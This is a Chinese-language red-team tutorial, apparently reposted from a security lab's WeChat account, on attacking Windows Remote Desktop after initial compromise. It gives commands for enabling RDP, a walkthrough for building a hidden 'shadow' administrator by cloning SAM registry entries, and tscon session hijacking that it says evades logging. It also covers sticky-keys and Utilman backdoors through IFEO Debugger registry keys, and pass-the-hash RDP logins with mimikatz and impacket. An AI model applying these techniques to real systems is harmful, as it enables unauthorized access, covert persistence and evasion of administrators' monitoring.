首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >红队攻击-对RDP常规操作

红队攻击-对RDP常规操作

作者头像
Gamma实验室
发布2021-05-18 15:05:47
发布2021-05-18 15:05:47
2.2K00
代码可运行
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室
运行总次数:0
代码可运行

前言

rdp服务是我们常用的服务,可以不是3389端口,可以改成任意端口,时候为了利用它,必须先找出来服务端口,毕竟管理员也鸡贼。

查看rdp服务端口

代码语言:javascript
代码运行次数:0
运行
复制
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

得到连接端口为 0xd3d,转换后为 3389

开启rdp服务

老版本和新版windows版本不一样

windows server 2003

代码语言:javascript
代码运行次数:0
运行
复制
开启:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

windows server 2008

代码语言:javascript
代码运行次数:0
运行
复制
开启:
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

如果还不行,就防火墙放行rdp服务端口,就可以连接了。

增加影子用户

1.1 前言

在红队活动中,红队人员当拿到一个windows服务器往往为了获取更多有用的东西或进行一波操作,会开启3389,这时候如果当前用户在线,如果用当前的用户账户去连,会把session挤掉,容易引起管理员警觉,这时候一般都会去添加用户,把用户提升为管理员权限,这时候添加一个隐藏的用户和克隆管理员用户手法就很重要。

1.2 实操

在windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏

例如:

我这里添加了一个普通用户,但是用net user命令却看不懂此用户。

但实际上确实是存在的

但一般的话,我们可以直接更改guest用户权限,将会更加隐蔽。

接下来我们来创建一个影子管理员账户,将更加nice!

打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM\ 键,右键设置权限:

因为这里我们需要更改SAM,但是系统默认只能system修改,这里必须改成管理员也能修改才行。

再次打开注册表,查看各个用户的类型值

发现每个用户的类型值都不一样,而管理员用户和Guest用户都是0X1f开头的,而这几个键值正好对应着上面的键,选择管理员对应的,把F键值复制了

然后打开admin$用户对应的,粘贴进去,然后保存。

然后把右键Names中的admin$和000003EB两个目录,选择导出,将注册表导出。

最后一步很重要,为了不让出现在组里面,必须删除用户

代码语言:javascript
代码运行次数:0
运行
复制
net user admin$ /del

再双击刚才导出的两个注册表,重新注册admin$用户,这样权限也是administators影子账户就创建好了。

RDP会话劫持

2.1 前言

在我们拿到主机系统权限时,但是我们没有拿到管理员的凭据,增加用户又动静太大,但是我们通过rdp连接记录发现,管理员3天前(3天之内吧,前提是没有更改组策略设置以使用户断开RDP会话后立即或短期注销,而是使“断开连接的”远程桌面会话长时间处于休眠状态)通过rdp登陆过此系统,那么我们就可以通过rdp劫持的方式,来“恢复”先前断开的RDP会话,而这种的好处就是攻击者会逃避事件监视器,因为攻击者并没有创建新的会话,而是有效地充当被劫持会话的用户,取而代之,所以日志文件中无法显示会话劫持记录,也记录不到。

2.2 实操

远程桌面协议(RDP),为系统管理员提供了一种方便的方法来管理Windows系统并帮助用户解决问题。

前提:system权限可以以无凭据的方式在不同的用户会话之间切换

2.3 无密码劫持

这里我们利用Windows自带的Tscon.exe程序来进行RDP劫持,Tscon.exe可以使用户可以连接到系统上的其他远程桌面会话,或在不同的会话之间切换。

适用于:

代码语言:javascript
代码运行次数:0
运行
复制
Applies to: Windows Server (Semi-Annual Channel), Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

微软介绍:

代码语言:javascript
代码运行次数:0
运行
复制
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn283323(v=ws.11)
代码语言:javascript
代码运行次数:0
运行
复制
tscon {<SessionID> | <SessionName>} [/dest:<SessionName>] [/password:<pw> | /password:*] [/v]

实操:

代码语言:javascript
代码运行次数:0
运行
复制
query user 查看所有已连接的RDP用户

然后连接到此会话

代码语言:javascript
代码运行次数:0
运行
复制
tscon 1#会话id

相关工具:https://github.com/bohops/SharpRDPHijack

minikatz也可以作会话劫持

RDP后门方法

粘滞键

该功能是操作系统内置的可访问性功能,并且可以进行预登录(在登录屏幕上,通过物理控制台或通过远程桌面)。

将Sethc.exe(粘滞键)设置为生成cmd.exe,那么rdp连接就会拥有一个system权限后门

1.通过安全模式来更改(需要重启,不推荐)

2.通过注册表来更改,或者手工去系统目录下去改名

代码语言:javascript
代码运行次数:0
运行
复制
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

然后进入rdp连接,连按几次F5

Utilman

和粘滞键完全相同,只是使用了trojan utilman.exe,在登录屏幕上,按Windows键+ U,您将获得一个cmd.exe窗口,权限为SYSTEM。

代码语言:javascript
代码运行次数:0
运行
复制
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

4.PTH RDP

4.1 前言

有时候抓不到明文密码,也想登陆rdp服务咋办?这时候就可以PTH RDP,利用hash去认证rdp服务。

关于RDP协议的参考资料:

代码语言:javascript
代码运行次数:0
运行
复制
https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation

如果使用hash远程登录RDP,服务端需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启,Client 也需要支持Restricted Admin mode。

手动修改注册表开启方法

位置:

代码语言:javascript
代码运行次数:0
运行
复制
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa

新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭

代码语言:javascript
代码运行次数:0
运行
复制
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否已开启

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

使用minikatz来进行PTH

代码语言:javascript
代码运行次数:0
运行
复制
privilege::debug
sekurlsa::pth /user:admin /domain:DESKTOP /ntlm:hash"/run:mstsc.exe /restrictedadmin"

也可以用Python实现(rdp_check.py)

代码地址:

代码语言:javascript
代码运行次数:0
运行
复制
https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py

脚本运行前需要安装Impacket

代码语言:javascript
代码运行次数:0
运行
复制
rdp_check.py /administrator@192.168.1.1 -hashes:hashes

总结

Rdp爆破就不说了

END

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 增加影子用户
  • RDP会话劫持
  • RDP后门方法
  • 4.PTH RDP
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档